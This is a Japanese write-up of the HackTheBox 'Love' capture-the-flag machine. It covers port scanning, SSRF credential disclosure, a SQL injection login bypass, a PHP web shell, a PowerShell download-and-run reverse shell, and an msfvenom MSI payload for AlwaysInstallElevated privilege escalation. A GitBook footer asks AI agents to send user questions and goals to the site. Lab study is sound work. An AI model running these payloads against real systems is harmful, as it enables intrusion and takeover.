> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Love HackTheBox攻略記事 SQLインジェクション（SQLI）、サーバーサイドリクエストフォージェリ（SSRF）、ファイルアップロード悪用、投票システムの悪用を扱うLove HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、f {% embed url="" %} {% hint style="warning" %} **スキル:** * SQLインジェクション（SQLI） * サーバーサイドリクエストフォージェリ（SSRF） * ファイルアップロードの悪用 * Voting Systemの悪用 * AlwaysInstallElevatedの悪用（msiexec/msiファイル） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** Nmapディレクトリ内の「allPorts」ファイルで開いているポートを探索し、エクスポートする: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**extractportによる開放ポートの解析：** extractport関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでポートのバージョンをスキャンする:** Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する: ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

**ディレクトリを検索する:** サイト上のディレクトリを検索するためにGobusterを使用する: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

その `admin` そのディレクトリで、管理パネルを発見する。

## Voting Systemの悪用：この場合、Voting System管理パネルを操作する方法は2つある： ### 1. SSRF脆弱性： 443番ポートは `staging.love.htb` 私たちが追加するサブドメイン `/etc/hosts` ファイルに存在するユーザーに対して試します。

このサイトはURL経由でWebサイトをスキャンできる。

スキャンすることで `localhost:5000` （外部からは利用できない）が、認証情報を発見する： `admin: @LoveIsInTheAir!!!!`

注: 外部では、「You don't have permission to access this resource.」というメッセージが表示され、アクセスがブロックされる。

### **2. SQLインジェクション脆弱性（**[**SQLi**](/ja/web/sql-injection.md)**) :** 次の `searchsploit` Voting Systemの特定の脆弱性を探し、次のペイロードを見つける：

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Burp Suiteを使用して、ダッシュボードにアクセスする。

## ファイルアップロード脆弱性：ダッシュボードに入ると、新しいユーザーを作成するオプションがある。私たちは `cmd.php` サーバー上でコマンドを実行するためのファイル：

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

このパネルはセキュリティチェックを一切行わないため、コマンドを注入できる（例： `whoami`）。pingコマンドを試して、接続を確認する：

pingを実行できるかどうかを確認する

ping 10.10.14.10
tcpdump -i tun0 icmp

応答を受け取ったので、対象マシンでコマンドを実行できる可能性を確認する

**リバースシェル用のPowerShellコマンド** コマンドを実行できることが確認できたら、 `PS.ps1` スクリプトを私たちのマシンに {% embed url="" %} スクリプトの最後に、次の行を追加します: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

次の `PS.ps1` スクリプト ```bash python3 -m http.server 80 ``` その後、コマンドを自分たちのWebサーバーを指すように変更します: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} 最後に、ポート4444で待ち受けます: ```bash rlwrap nc -nlvp 4444 ```

### user.txtのフラグ:

## 権限昇格： ### **winPEASx64.exeによる列挙** Windowsサーバーで権限昇格を行うには、まず次のものを実行する： `winPEAS` 偵察ツール。 {% embed url="" %} WIN-peacex64.exe偵察ツールのダウンロード。 ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### AlwaysInstallElevatedの確認その `winPEAS` このツールはさまざまなシステムセキュリティ設定を確認する。特に注目するのは `AlwaysInstallElevated` レジストリキー。これが次に設定されている場合、 `1` の中に `HKLM` （HKEY/ LOCAL/ MACHINE）、これはすべての `.msi` ファイルを高権限でインストールできることを意味し、これは脆弱性である。

{% embed url="" %} **リバースシェルを取得するための.msiファイルを作成する** この脆弱性を利用するために、私たちは `.msi` 実行するとリバースシェルを取得できるファイル。そこで使用するのは `msfvenom` このファイルを生成するために： ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **from.msiを転送する**/ ファイル。ファイルを作成した後、ターゲットマシンへ転送する必要がある： ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**443番ポートで待ち受ける**/ 次を実行する前に `.msi` ファイルを実行するには、指定したポートで待ち受ける必要がある。ここでは `nc` (netcat)を使う： ```powershell rlwrap nc -nlvp 443 ``` **インストールコマンドの実行**/ 最後に、次のファイルを `.msi` 使用して実行する `msiexec`、これによりサイレントインストールが開始される： ```powershell msiexec /quiet /qn /i reverse.msi ```

### rootフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.